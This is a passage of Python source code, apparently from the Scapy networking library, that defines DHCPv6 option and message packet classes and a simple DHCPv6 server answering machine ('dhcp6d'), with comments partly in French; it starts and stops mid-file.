DHCP6NTPSubOptMCAddr(Packet):  # RFC5908 sect 4.2\n    name = \"DHCP6 NTP Multicast Address Suboption\"\n    fields_desc = [ShortField(\"optcode\", 2),\n                   ShortField(\"optlen\", 16),\n                   IP6Field(\"addr\", \"::\")]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass DHCP6NTPSubOptSrvFQDN(Packet):  # RFC5908 sect 4.3\n    name = \"DHCP6 NTP Server FQDN Suboption\"\n    fields_desc = [ShortField(\"optcode\", 3),\n                   FieldLenField(\"optlen\", None, length_of=\"fqdn\"),\n                   DNSStrField(\"fqdn\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\n_ntp_subopts = {1: DHCP6NTPSubOptSrvAddr,\n                2: DHCP6NTPSubOptMCAddr,\n                3: DHCP6NTPSubOptSrvFQDN}\n\n\ndef _ntp_subopt_dispatcher(p, **kwargs):\n    cls = conf.raw_layer\n    if len(p) >= 2:\n        o = struct.unpack(\"!H\", p[:2])[0]\n        cls = _ntp_subopts.get(o, conf.raw_layer)\n    return cls(p, **kwargs)\n\n\nclass DHCP6OptNTPServer(_DHCP6OptGuessPayload):  # RFC5908\n    name = \"DHCP6 NTP Server Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 56, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"ntpserver\",\n                                 fmt=\"!H\"),\n                   PacketListField(\"ntpserver\", [],\n                                   _ntp_subopt_dispatcher,\n                                   length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptBootFileUrl(_DHCP6OptGuessPayload):  # RFC5970\n    name = \"DHCP6 Boot File URL Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 59, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptClientArchType(_DHCP6OptGuessPayload):  # RFC5970\n    name = \"DHCP6 Client System Architecture Type Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 61, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"archtypes\",\n                                 fmt=\"!H\"),\n                   FieldListField(\"archtypes\", [],\n                                  ShortField(\"archtype\", 0),\n                                  length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptClientNetworkInterId(_DHCP6OptGuessPayload):  # RFC5970\n    name = \"DHCP6 Client Network Interface Identifier Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 62, dhcp6opts),\n                   ShortField(\"optlen\", 3),\n                   ByteField(\"iitype\", 0),\n                   ByteField(\"iimajor\", 0),\n                   ByteField(\"iiminor\", 0)]\n\n\nclass DHCP6OptERPDomain(_DHCP6OptGuessPayload):  # RFC6440\n    name = \"DHCP6 Option - ERP Domain Name List\"\n    fields_desc = [ShortEnumField(\"optcode\", 65, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"erpdomain\"),\n                   DomainNameListField(\"erpdomain\", [],\n                                       length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptRelaySuppliedOpt(_DHCP6OptGuessPayload):  # RFC6422\n    name = \"DHCP6 Relay-Supplied Options Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 66, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"relaysupplied\",\n                                 fmt=\"!H\"),\n                   PacketListField(\"relaysupplied\", [],\n                                   _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen)]\n\n\n# Virtual Subnet selection\nclass DHCP6OptVSS(_DHCP6OptGuessPayload):  # RFC6607\n    name = \"DHCP6 Option - Virtual Subnet Selection\"\n    fields_desc = [ShortEnumField(\"optcode\", 68, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"data\",\n                                 adjust=lambda pkt, x: x + 1),\n                   ByteField(\"type\", 255),  # Default Global/default table\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\n# \"Client link-layer address type.  The link-layer type MUST be a valid hardware  # noqa: E501\n# type assigned by the IANA, as described in [RFC0826]\nclass DHCP6OptClientLinkLayerAddr(_DHCP6OptGuessPayload):  # RFC6939\n    name = \"DHCP6 Option - Client Link Layer address\"\n    fields_desc = [ShortEnumField(\"optcode\", 79, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"clladdr\",\n                                 adjust=lambda pkt, x: x + 2),\n                   ShortField(\"lltype\", 1),  # ethernet\n                   _LLAddrField(\"clladdr\", ETHER_ANY)]\n\n\nclass DHCP6OptCaptivePortal(_DHCP6OptGuessPayload):  # RFC8910\n    name = \"DHCP6 Option - Captive-Portal\"\n    fields_desc = [ShortEnumField(\"optcode\", 103, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"URI\"),\n                   StrLenField(\"URI\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptMudUrl(_DHCP6OptGuessPayload):  # RFC8520\n    name = \"DHCP6 Option - MUD URL\"\n    fields_desc = [ShortEnumField(\"optcode\", 112, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"mudstring\"),\n                   StrLenField(\"mudstring\", \"\",\n                               length_from=lambda pkt: pkt.optlen,\n                               max_length=253,\n                               )]\n\n\nclass DHCP6OptAddrRegEnable(_DHCP6OptGuessPayload):   # RFC 9686 sect 4.1\n    name = \"DHCP6 Address Registration Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 148, dhcp6opts),\n                   ShortField(\"optlen\", 0)]\n\n\n#####################################################################\n#                          DHCPv6 messages                          #\n#####################################################################\n\n# Some state parameters of the protocols that should probably be\n# useful to have in the configuration (and keep up-to-date)\nDHCP6RelayAgentUnicastAddr = \"\"\nDHCP6RelayHopCount = \"\"\nDHCP6ServerUnicastAddr = \"\"\nDHCP6ClientUnicastAddr = \"\"\nDHCP6ClientIA_TA = \"\"\nDHCP6ClientIA_NA = \"\"\nDHCP6ClientIAID = \"\"\nT1 = \"\"  # Voir 2462\nT2 = \"\"  # Voir 2462\nDHCP6ServerDUID = \"\"\nDHCP6CurrentTransactionID = \"\"  # devrait etre utilise pour matcher une\n# reponse et mis a jour en mode client par une valeur aleatoire pour\n# laquelle on attend un retour de la part d'un serveur.\nDHCP6PrefVal = \"\"  # la valeur de preference a utiliser dans\n# les options preference\n\n# Emitted by :\n# - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay)\n# - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE,\n#            INFORMATION REQUEST\n# - relay  : RELAY-FORW (toward server)\n\n#####################################################################\n# DHCPv6 messages sent between Clients and Servers (types 1 to 11)\n# Comme specifie en section 15.1 de la RFC 3315, les valeurs de\n# transaction id sont selectionnees de maniere aleatoire par le client\n# a chaque emission et doivent matcher dans les reponses faites par\n# les clients\n\n\nclass DHCP6(_DHCP6OptGuessPayload):\n    name = \"DHCPv6 Generic Message\"\n    fields_desc = [ByteEnumField(\"msgtype\", None, dhcp6types),\n                   X3BytesField(\"trid\", 0x000000)]\n    overload_fields = {UDP: {\"sport\": 546, \"dport\": 547}}\n\n    def hashret(self):\n        return struct.pack(\"!I\", self.trid)[1:4]\n\n#    DHCPv6 Relay Message Option                                    #\n\n# Relayed message is seen as a payload.\n\n\nclass DHCP6OptRelayMsg(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.10\n    name = \"DHCP6 Relay Message Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 9, dhcp6opts),\n                   FieldLenField(\"optlen\", None, fmt=\"!H\",\n                                 length_of=\"message\"),\n                   PacketLenField(\"message\", DHCP6(), _dhcp6_dispatcher,\n                                  length_from=lambda p: p.optlen)]\n\n#####################################################################\n# Solicit Message : sect 17.1.1 RFC3315\n# - sent by client\n# - must include a client identifier option\n# - the client may include IA options for any IAs to which it wants the\n#   server to assign address\n# - The client use IA_NA options to request the assignment of\n#   non-temporary addresses and uses IA_TA options to request the\n#   assignment of temporary addresses\n# - The client should include an Option Request option to indicate the\n#   options the client is interested in receiving (eventually\n#   including hints)\n# - The client includes a Reconfigure Accept option if is willing to\n#   accept Reconfigure messages from the server.\n# Le cas du send and reply est assez particulier car suivant la\n# presence d'une option rapid commit dans le solicit, l'attente\n# s'arrete au premier message de reponse recu ou alors apres un\n# timeout. De la meme maniere, si un message Advertise arrive avec une\n# valeur de preference de 255, il arrete l'attente et envoie une\n# Request.\n# - The client announces its intention to use DHCP authentication by\n# including an Authentication option in its solicit message. The\n# server selects a key for the client based on the client's DUID. The\n# client and server use that key to authenticate all DHCP messages\n# exchanged during the session\n\n\nclass DHCP6_Solicit(DHCP6):\n    name = \"DHCPv6 Solicit Message\"\n    msgtype = 1\n    overload_fields = {UDP: {\"sport\": 546, \"dport\": 547}}\n\n#####################################################################\n# Advertise Message\n# - sent by server\n# - Includes a server identifier option\n# - Includes a client identifier option\n# - the client identifier option must match the client's DUID\n# - transaction ID must match\n\n\nclass DHCP6_Advertise(DHCP6):\n    name = \"DHCPv6 Advertise Message\"\n    msgtype = 2\n    overload_fields = {UDP: {\"sport\": 547, \"dport\": 546}}\n\n    def answers(self, other):\n        return (isinstance(other, DHCP6_Solicit) and\n                other.msgtype == 1 and\n                self.trid == other.trid)\n\n#####################################################################\n# Request Message\n# - sent by clients\n# - includes a server identifier option\n# - the content of Server Identifier option must match server's DUID\n# - includes a client identifier option\n# - must include an ORO Option (even with hints) p40\n# - can includes a reconfigure Accept option indicating whether or\n#   not the client is willing to accept Reconfigure messages from\n#   the server (p40)\n# - When the server receives a Request message via unicast from a\n# client to which the server has not sent a unicast option, the server\n# discards the Request message and responds with a Reply message\n# containing Status Code option with the value UseMulticast, a Server\n# Identifier Option containing the server's DUID, the client\n# Identifier option from the client message and no other option.\n\n\nclass DHCP6_Request(DHCP6):\n    name = \"DHCPv6 Request Message\"\n    msgtype = 3\n\n#####################################################################\n# Confirm Message\n# - sent by clients\n# - must include a client identifier option\n# - When the server receives a Confirm Message, the server determines\n# whether the addresses in the Confirm message are appropriate for the\n# link to which the client is attached. cf p50\n\n\nclass DHCP6_Confirm(DHCP6):\n    name = \"DHCPv6 Confirm Message\"\n    msgtype = 4\n\n#####################################################################\n# Renew Message\n# - sent by clients\n# - must include a server identifier option\n# - content of server identifier option must match the server's identifier\n# - must include a client identifier option\n# - the clients includes any IA assigned to the interface that may\n# have moved to a new link, along with the addresses associated with\n# those IAs in its confirm messages\n# - When the server receives a Renew message that contains an IA\n# option from a client, it locates the client's binding and verifies\n# that the information in the IA from the client matches the\n# information for that client. If the server cannot find a client\n# entry for the IA the server returns the IA containing no addresses\n# with a status code option est to NoBinding in the Reply message. cf\n# p51 pour le reste.\n\n\nclass DHCP6_Renew(DHCP6):\n    name = \"DHCPv6 Renew Message\"\n    msgtype = 5\n\n#####################################################################\n# Rebind Message\n# - sent by clients\n# - must include a client identifier option\n# cf p52\n\n\nclass DHCP6_Rebind(DHCP6):\n    name = \"DHCPv6 Rebind Message\"\n    msgtype = 6\n\n#####################################################################\n# Reply Message\n# - sent by servers\n# - the message must include a server identifier option\n# - transaction-id field must match the value of original message\n# The server includes a Rapid Commit option in the Reply message to\n# indicate that the reply is in response to a solicit message\n# - if the client receives a reply message with a Status code option\n# with the value UseMulticast, the client records the receipt of the\n# message and sends subsequent messages to the server through the\n# interface on which the message was received using multicast. The\n# client resends the original message using multicast\n# - When the client receives a NotOnLink status from the server in\n# response to a Confirm message, the client performs DHCP server\n# solicitation as described in section 17 and client-initiated\n# configuration as descrribed in section 18 (RFC 3315)\n# - when the client receives a NotOnLink status from the server in\n# response to a Request, the client can either re-issue the Request\n# without specifying any addresses or restart the DHCP server\n# discovery process.\n# - the server must include a server identifier option containing the\n# server's DUID in the Reply message\n\n\nclass DHCP6_Reply(DHCP6):\n    name = \"DHCPv6 Reply Message\"\n    msgtype = 7\n\n    overload_fields = {UDP: {\"sport\": 547, \"dport\": 546}}\n\n    def answers(self, other):\n\n        types = (DHCP6_Solicit, DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind,\n                 DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew)\n\n        return (isinstance(other, types) and self.trid == other.trid)\n\n#####################################################################\n# Release Message\n# - sent by clients\n# - must include a server identifier option\n# cf p53\n\n\nclass DHCP6_Release(DHCP6):\n    name = \"DHCPv6 Release Message\"\n    msgtype = 8\n\n#####################################################################\n# Decline Message\n# - sent by clients\n# - must include a client identifier option\n# - Server identifier option must match server identifier\n# - The addresses to be declined must be included in the IAs. Any\n# addresses for the IAs the client wishes to continue to use should\n# not be in added to the IAs.\n# - cf p54\n\n\nclass DHCP6_Decline(DHCP6):\n    name = \"DHCPv6 Decline Message\"\n    msgtype = 9\n\n#####################################################################\n# Reconfigure Message\n# - sent by servers\n# - must be unicast to the client\n# - must include a server identifier option\n# - must include a client identifier option that contains the client DUID\n# - must contain a Reconfigure Message Option and the message type\n#   must be a valid value\n# - the server sets the transaction-id to 0\n# - The server must use DHCP Authentication in the Reconfigure\n# message. Autant dire que ca va pas etre le type de message qu'on va\n# voir le plus souvent.\n\n\nclass DHCP6_Reconf(DHCP6):\n    name = \"DHCPv6 Reconfigure Message\"\n    msgtype = 10\n    overload_fields = {UDP: {\"sport\": 547, \"dport\": 546}}\n\n\n#####################################################################\n# Information-Request Message\n# - sent by clients when needs configuration information but no\n# addresses.\n# - client should include a client identifier option to identify\n# itself. If it doesn't the server is not able to return client\n# specific options or the server can choose to not respond to the\n# message at all. The client must include a client identifier option\n# if the message will be authenticated.\n# - client must include an ORO of option she's interested in receiving\n# (can include hints)\n\nclass DHCP6_InfoRequest(DHCP6):\n    name = \"DHCPv6 Information Request Message\"\n    msgtype = 11\n\n#####################################################################\n# sent between Relay Agents and Servers\n#\n# Normalement, doit inclure une option \"Relay Message Option\"\n# peut en inclure d'autres.\n# voir section 7.1 de la 3315\n\n# Relay-Forward Message\n# - sent by relay agents to servers\n# If the relay agent relays messages to the All_DHCP_Servers multicast\n# address or other multicast addresses, it sets the Hop Limit field to\n# 32.\n\n\nclass DHCP6_RelayForward(_DHCP6OptGuessPayload, Packet):\n    name = \"DHCPv6 Relay Forward Message (Relay Agent/Server Message)\"\n    fields_desc = [ByteEnumField(\"msgtype\", 12, dhcp6types),\n                   ByteField(\"hopcount\", None),\n                   IP6Field(\"linkaddr\", \"::\"),\n                   IP6Field(\"peeraddr\", \"::\")]\n    overload_fields = {UDP: {\"sport\": 547, \"dport\": 547}}\n\n    def hashret(self):  # we filter on peer address field\n        return inet_pton(socket.AF_INET6, self.peeraddr)\n\n#####################################################################\n# sent between Relay Agents and Servers\n# Normalement, doit inclure une option \"Relay Message Option\"\n# peut en inclure d'autres.\n# Les valeurs des champs hop-count, link-addr et peer-addr\n# sont copiees du message Forward associe. POur le suivi de session.\n# Pour le moment, comme decrit dans le commentaire, le hashret\n# se limite au contenu du champ peer address.\n# Voir section 7.2 de la 3315.\n\n# Relay-Reply Message\n# - sent by servers to relay agents\n# - if the solicit message was received in a Relay-Forward message,\n# the server constructs a relay-reply message with the Advertise\n# message in the payload of a relay-message. cf page 37/101. Envoie de\n# ce message en unicast au relay-agent. utilisation de l'adresse ip\n# presente en ip source du paquet recu\n\n\nclass DHCP6_RelayReply(DHCP6_RelayForward):\n    name = \"DHCPv6 Relay Reply Message (Relay Agent/Server Message)\"\n    msgtype = 13\n\n    def hashret(self):  # We filter on peer address field.\n        return inet_pton(socket.AF_INET6, self.peeraddr)\n\n    def answers(self, other):\n        return (isinstance(other, DHCP6_RelayForward) and\n                self.hopcount == other.hopcount and\n                self.linkaddr == other.linkaddr and\n                self.peeraddr == other.peeraddr)\n\n\n#####################################################################\n# Address Registration-Inform Message (RFC 9686)\n# - sent by clients who generated their own address and need it registered\n\nclass DHCP6_AddrRegInform(DHCP6):\n    name = \"DHCPv6 Information Request Message\"\n    msgtype = 36\n\n#####################################################################\n# Address Registration-Reply Message (RFC 9686)\n# - sent by servers who respond to the address registration-inform message\n\n\nclass DHCP6_AddrRegReply(DHCP6):\n    name = \"DHCPv6 Information Reply Message\"\n    msgtype = 37\n\n\nbind_bottom_up(UDP, _dhcp6_dispatcher, {\"dport\": 547})\nbind_bottom_up(UDP, _dhcp6_dispatcher, {\"dport\": 546})\n\n\nclass DHCPv6_am(AnsweringMachine):\n    function_name = \"dhcp6d\"\n    filter = \"udp and port 546 and port 547\"\n    send_function = staticmethod(send)\n\n    def usage(self):\n        msg = \"\"\"\nDHCPv6_am.parse_options( dns=\"2001:500::1035\", domain=\"localdomain, local\",\n        duid=None, iface=conf.iface, advpref=255, sntpservers=None,\n        sipdomains=None, sipservers=None,\n        nisdomain=None, nisservers=None,\n        nispdomain=None, nispservers=None,\n        bcmcsdomains=None, bcmcsservers=None)\n\n   debug : When set, additional debugging information is printed.\n\n   duid   : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none\n            is provided a DUID_LLT is constructed based on the MAC\n            address of the sending interface and launch time of dhcp6d\n            answering machine.\n\n   iface : the interface to listen/reply on if you do not want to use\n           conf.iface.\n\n   advpref : Value in [0,255] given to Advertise preference field.\n             By default, 255 is used. Be aware that this specific\n             value makes clients stops waiting for further Advertise\n             messages from other servers.\n\n   dns : list of recursive DNS servers addresses (as a string or list).\n         By default, it is set empty and the associated DHCP6OptDNSServers\n         option is inactive. See RFC 3646 for details.\n   domain : a list of DNS search domain (as a string or list). By default,\n         it is empty and the associated DHCP6OptDomains option is inactive.\n         See RFC 3646 for details.\n\n   sntpservers : a list of SNTP servers IPv6 addresses. By default,\n         it is empty and the associated DHCP6OptSNTPServers option\n         is inactive.\n\n   sipdomains : a list of SIP domains. By default, it is empty and the\n         associated DHCP6OptSIPDomains option is inactive. See RFC 3319\n         for details.\n   sipservers : a list of SIP servers IPv6 addresses. By default, it is\n         empty and the associated DHCP6OptSIPDomains option is inactive.\n         See RFC 3319 for details.\n\n   nisdomain : a list of NIS domains. By default, it is empty and the\n         associated DHCP6OptNISDomains option is inactive. See RFC 3898\n         for details. See RFC 3646 for details.\n   nisservers : a list of NIS servers IPv6 addresses. By default, it is\n         empty and the associated DHCP6OptNISServers option is inactive.\n         See RFC 3646 for details.\n\n   nispdomain : a list of NIS+ domains. By default, it is empty and the\n         associated DHCP6OptNISPDomains option is inactive. See RFC 3898\n         for details.\n   nispservers : a list of NIS+ servers IPv6 addresses. By default, it is\n         empty and the associated DHCP6OptNISServers option is inactive.\n         See RFC 3898 for details.\n\n   bcmcsdomain : a list of BCMCS domains. By default, it is empty and the\n         associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280\n         for details.\n   bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is\n         empty and the associated DHCP6OptBCMCSServers option is inactive.\n         See RFC 4280 for details.\n\n   If you have a need for others, just ask ... or provide a patch.\"\"\"\n        print(msg)\n\n    def parse_options(self, dns=\"2001:500::1035\", domain=\"localdomain, local\",\n                      startip=\"2001:db8::1\", endip=\"2001:db8::20\", duid=None,\n                      sntpservers=None, sipdomains=None, sipservers=None,\n                      nisdomain=None, nisservers=None, nispdomain=None,\n                      nispservers=None, bcmcsservers=None, bcmcsdomains=None,\n                      iface=None, debug=0, advpref=255):\n        def norm_list(val, param_name):\n            if val is None:\n                return None\n            if isinstance(val, list):\n                return val\n            elif isinstance(val, str):\n                tmp_len = val.split(',')\n                return [x.strip() for x in tmp_len]\n            else:\n                print(\"Bad '%s' parameter provided.\" % param_name)\n                self.usage()\n                return -1\n\n        if iface is None:\n            iface = conf.iface\n\n        self.debug = debug\n\n        # Dictionary of provided DHCPv6 options, keyed by option type\n        self.dhcpv6_options = {}\n\n        for o in [(dns, \"dns\", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)),\n                  (domain, \"domain\", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)),  # noqa: E501\n                  (sntpservers, \"sntpservers\", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)),  # noqa: E501\n                  (sipservers, \"sipservers\", 22, lambda x: DHCP6OptSIPServers(sipservers=x)),  # noqa: E501\n                  (sipdomains, \"sipdomains\", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)),  # noqa: E501\n                  (nisservers, \"nisservers\", 27, lambda x: DHCP6OptNISServers(nisservers=x)),  # noqa: E501\n                  (nisdomain, \"nisdomain\", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x + [\"\"])[0])),  # noqa: E501\n                  (nispservers, \"nispservers\", 28, lambda x: DHCP6OptNISPServers(nispservers=x)),  # noqa: E501\n                  (nispdomain, \"nispdomain\", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x + [\"\"])[0])),  # noqa: E501\n                  (bcmcsservers, \"bcmcsservers\", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)),  # noqa: E501\n                  (bcmcsdomains, \"bcmcsdomains\", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]:  # noqa: E501\n\n            opt = norm_list(o[0], o[1])\n            if opt == -1:  # Usage() was triggered\n                return False\n            elif opt is None:  # We won't return that option\n                pass\n            else:\n                self.dhcpv6_options[o[2]] = o[3](opt)\n\n        if self.debug:\n            print(\"\\n[+] List of active DHCPv6 options:\")\n            opts = sorted(self.dhcpv6_options)\n            for i in opts:\n                print(\"    %d: %s\" % (i, repr(self.dhcpv6_options[i])))\n\n        # Preference value used in Advertise.\n        self.advpref = advpref\n\n        # IP Pool\n        self.startip = startip\n        self.endip = endip\n        # XXX TODO Check IPs are in same subnet\n\n        ####\n        # The interface we are listening/replying on\n        self.iface = iface\n\n        ####\n        # Generate a server DUID\n        if duid is not None:\n            self.duid = duid\n        else:\n            # Timeval\n            epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0)\n            delta = time.mktime(epoch) - EPOCH\n            timeval = time.time() - delta\n\n            # Mac Address\n            mac = get_if_hwaddr(iface)\n\n            self.duid = DUID_LLT(timeval=timeval, lladdr=mac)\n\n        if self.debug:\n            print(\"\\n[+] Our server DUID:\")\n            self.duid.show(label_lvl=\" \" * 4)\n\n        ####\n        # Find the source address we will use\n        self.src_addr = None\n        try:\n            addr = next(x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0]))  # noqa: E501\n        except (StopIteration, RuntimeError):\n            warning(\"Unable to get a Link-Local address\")\n            return\n        else:\n            self.src_addr = addr[0]\n\n        ####\n        # Our leases\n        self.leases = {}\n\n        if self.debug:\n            print(\"\\n[+] Starting DHCPv6 service on %s:\" % self.iface)\n\n    def is_request(self, p):\n        if IPv6 not in p:\n            return False\n\n        src = p[IPv6].src\n\n        p = p[IPv6].payload\n        if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547:\n            return False\n\n        p = p.payload\n        if not isinstance(p, DHCP6):\n            return False\n\n        # Message we considered client messages :\n        # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6)\n        # Decline (9), Release (8), Information-request (11),\n        if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]):\n            return False\n\n        # Message validation following section 15 of RFC 3315\n\n        if ((p.msgtype == 1) or  # Solicit\n            (p.msgtype == 6) or  # Rebind\n                (p.msgtype == 4)):  # Confirm\n            if ((DHCP6OptClientId not in p) or\n                    DHCP6OptServerId in p):\n                return False\n\n            if (p.msgtype == 6 or  # Rebind\n                    p.msgtype == 4):  # Confirm\n                # XXX We do not reply to Confirm or Rebind as we\n                # XXX do not support address assignment\n                return False\n\n        elif (p.msgtype == 3 or  # Request\n              p.msgtype == 5 or  # Renew\n              p.msgtype == 8):  # Release\n\n            # Both options must be present\n            if ((DHCP6OptServerId not in p) or\n                    (DHCP6OptClientId not in p)):\n                return False\n            # provided server DUID must match ours\n            duid = p[DHCP6OptServerId].duid\n            if not isinstance(duid, type(self.duid)):\n                return False\n            if raw(duid) != raw(self.duid):\n                return False\n\n            if (p.msgtype == 5 or  # Renew\n                    p.msgtype == 8):  # Release\n                # XXX We do not reply to Renew or Release as we\n                # XXX do not support address assignment\n                return False\n\n        elif p.msgtype == 9:  # Decline\n            # XXX We should check if we are tracking that client\n            if not self.debug:\n                return False\n\n            bo = Color.bold\n            g = Color.green + bo\n            b = Color.blue + bo\n            n = Color.normal\n            r = Color.red\n\n            vendor = in6_addrtovendor(src)\n            if (vendor and vendor != \"UNKNOWN\"):\n                vendor = \" [\" + b + vendor + n + \"]\"\n            else:\n                vendor = \"\"\n            src = bo + src + n\n\n            it = p\n            addrs = []\n            while it:\n                lst = []\n                if isinstance(it, DHCP6OptIA_NA):\n                    lst = it.ianaopts\n                elif isinstance(it, DHCP6OptIA_TA):\n                    lst = it.iataopts\n\n                addrs += [x.addr for x in lst if isinstance(x, DHCP6OptIAAddress)]  # noqa: E501\n                it = it.payload\n\n            addrs = [bo + x + n for x in addrs]\n            if self.debug:\n                msg = r + \"[DEBUG]\" + n + \" Received \" + g + \"Decline\" + n\n                msg += \" from \" + bo + src + vendor + \" for \"\n                msg += \", \".join(addrs) + n\n                print(msg)\n\n            # See RFC 3315 sect 18.1.7\n\n            # Sent by a client to warn us she has determined\n            # one or more addresses assigned to her is already\n            # used on the link.\n            # We should simply log that fact. No messaged should\n            # be sent in return.\n\n            # - Message must include a Server identifier option\n            # - the content of the Server identifier option must\n            #   match the server's identifier\n            # - the message must include a Client Identifier option\n            return False\n\n        elif p.msgtype == 11:  # Information-Request\n            if DHCP6OptServerId in p:\n                duid = p[DHCP6OptServerId].duid\n                if not isinstance(duid, type(self.duid)):\n                    return False\n                if raw(duid) != raw(self.duid):\n                    return False\n            if ((DHCP6OptIA_NA in p) or\n                (DHCP6OptIA_TA in p) or\n                    (DHCP6OptIA_PD in p)):\n                return False\n        else:\n            return False\n\n        return True\n\n    def print_reply(self, req, reply):\n        def norm(s):\n            if s.startswith(\"DHCPv6 \"):\n                s = s[7:]\n            if s.endswith(\" Message\"):\n                s = s[:-8]\n            return s\n\n        if reply is None:\n            return\n\n        bo = Color.bold\n        g = Color.green + bo\n        b = Color.blue + bo\n        n = Color.normal\n        reqtype = g + norm(req.getlayer(UDP).payload.name) + n\n        reqsrc = req.getlayer(IPv6).src\n        vendor = in6_addrtovendor(reqsrc)\n        if (vendor and vendor != \"UNKNOWN\"):\n            vendor = \" [\" + b + vendor + n + \"]\"\n        else:\n            vendor = \"\"\n        reqsrc = bo + reqsrc + n\n        reptype = g + norm(reply.getlayer(UDP).payload.name) + n\n\n        print(\"Sent %s answering to %s from %s%s\" % (reptype, reqtype, reqsrc, vendor))  # noqa: E501\n\n    def make_reply(self, req):\n        p = req[IPv6]\n        req_src = p.src\n\n        p = p.payload.payload\n\n        msgtype = p.msgtype\n        trid = p.trid\n\n        def _include_options(query, answer):\n            \"\"\"\n            Include options from the DHCPv6 query\n            \"\"\"\n\n            # See which options should be included\n            reqopts = []\n            if query.haslayer(DHCP6OptOptReq):  # add only asked ones\n                reqopts = query[DHCP6OptOptReq].reqopts\n                for o, opt in self.dhcpv6_options.items():\n                    if o in reqopts:\n                        answer /= opt\n            else:\n                # advertise everything we have available\n                # Should not happen has clients MUST include\n                # and ORO in requests (sec 18.1.1)   -- arno\n                for o, opt in self.dhcpv6_options.items():\n                    answer /= opt\n\n        if msgtype == 1:  # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315)\n\n            # XXX We don't support address or prefix assignment\n            # XXX We also do not support relay function           --arno\n\n            client_duid = p[DHCP6OptClientId].duid\n            resp = IPv6(src=self.src_addr, dst=req_src)\n            resp /= UDP(sport=547, dport=546)\n\n            if p.haslayer(DHCP6OptRapidCommit):\n                # construct a Reply packet\n                resp /= DHCP6_Reply(trid=trid)\n                resp /= DHCP6OptRapidCommit()  # See 17.1.2\n                resp /= DHCP6OptServerId(duid=self.duid)\n                resp /= DHCP6OptClientId(duid=client_duid)\n\n            else:  # No Rapid Commit in the packet. Reply with an Advertise\n\n                if (p.haslayer(DHCP6OptIA_NA) or\n                        p.haslayer(DHCP6OptIA_TA)):\n                    # XXX We don't assign addresses at the moment\n                    msg = \"Scapy6 dhcp6d does not support address assignment\"\n                    resp /= DHCP6_Advertise(trid=trid)\n                    resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg)\n                    resp /= DHCP6OptServerId(duid=self.duid)\n                    resp /= DHCP6OptClientId(duid=client_duid)\n\n                elif p.haslayer(DHCP6OptIA_PD):\n                    # XXX We don't assign prefixes at the moment\n                    msg = \"Scapy6 dhcp6d does not support prefix assignment\"\n                    resp /= DHCP6_Advertise(trid=trid)\n                    resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg)\n                    resp /= DHCP6OptServerId(duid=self.duid)\n                    resp /= DHCP6OptClientId(duid=client_duid)\n\n                else:  # Usual case, no request for prefixes or addresse\n                    resp /= DHCP6_Advertise(trid=trid)\n                    resp /= DHCP6OptPref(prefval=self.advpref)\n                    resp /= DHCP6OptServerId(duid=self.duid)\n                    resp /= DHCP6OptClientId(duid=client_duid)\n                    resp /= DHCP6OptReconfAccept()\n\n                    _include_options(p, resp)\n\n            return resp\n\n        elif msgtype == 3:  # REQUEST (INFO-REQUEST is further below)\n            client_duid = p[DHCP6OptClientId].duid\n            resp = IPv6(src=self.src_addr, dst=req_src)\n            resp /= UDP(sport=547, dport=546)\n            resp /= DHCP6_Reply(trid=trid)\n            resp /= DHCP6OptServerId(duid=self.duid)\n            resp /= DHCP6OptClientId(duid=client_duid)\n\n            _include_options(p, resp)\n\n            return resp\n\n        elif msgtype == 4:  # CONFIRM\n            # see Sect 18.1.2\n\n            # Client want to check if addresses it was assigned\n            # are still appropriate\n\n            # Server must discard any Confirm messages that\n            # do not include a 